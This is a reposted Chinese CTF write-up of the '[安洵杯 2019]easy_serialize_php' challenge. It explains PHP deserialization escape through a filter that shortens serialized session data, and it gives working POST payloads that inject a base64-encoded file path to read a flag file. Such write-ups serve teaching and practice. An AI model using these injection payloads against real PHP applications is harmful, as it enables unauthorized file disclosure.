php serialize ctf,CTF代码审计之[安洵杯 2019]easy_serialize_php

[安洵杯 2019]easy_serialize_php

考点:php反序列化逃逸

}if($_SESSION){unset($_SESSION);

}$_SESSION["user"] = ‘guest‘;$_SESSION[‘function‘] = $function;extract($_POST);if(!$function){echo ‘source_code‘;

}if(!$_GET[‘img_path‘]){$_SESSION[‘img‘] = base64_encode(‘guest_img.png‘);

}else{$_SESSION[‘img‘] = sha1(base64_encode($_GET[‘img_path‘]));

}$serialize_info = filter(serialize($_SESSION));if($function == ‘highlight_file‘){highlight_file(‘index.php‘);

}else if($function == ‘phpinfo‘){eval(‘phpinfo();‘); //maybe you can find something in here!

}else if($function == ‘show_image‘){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo[‘img‘]));

}

观察可以找到

20200914221316371604.png

还有根据代码

20200914221316398949.png

20200914221316424341.png

可以知道 数据在序列化之后又进行了一次过滤,可能会造成序列化之后数据丢失

php反序列化逃逸

特性一:

反序列化

//输入

//输出

array(2) {

[0]=>

string(5) "hello"[1]=>

string(5) "world"}

但是如果在str后面加上某些字符

//输入

//输出结果相同,不影响反序列化的正常进行

array(2) {

[0]=>

string(5) "hello"[1]=>

string(5) "world"}

特性二:

//输入

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

假如后台有过滤机制,能让 flag 替换为空

则输出为

a:3:{s:4:"user";s:24:"";s:8:"function";s:59:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

//输入

array(3) {

["user"]=>

string(24) "";s:8:"function";s:59:"a"["img"]=>

string(20) "ZDBnM19mMWFnLnBocA=="["dd"]=>

string(1) "a"}

可以发现 SESSION数组的键值img对应的值发生了改变,可以知道,过滤掉 flag之后, ZDBnM19mMWFnLnBocA==  代替了真正 base64的编码,读取了d0g3_f1ag.php的内容,之后的内容则被被忽略掉了。

题目

payload:

post:_SESSION[flagflag]=";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

20200914221316449732.png

再 替换为 _SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"dd";s:1:"a";} 回显得到 flag

20200914221316512235.png

转载自 https://www.jianshu.com/p/8e8117f9fd0e 大佬的文章(侵权立删)

原文:https://www.cnblogs.com/yanwusheng/p/13668172.html

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值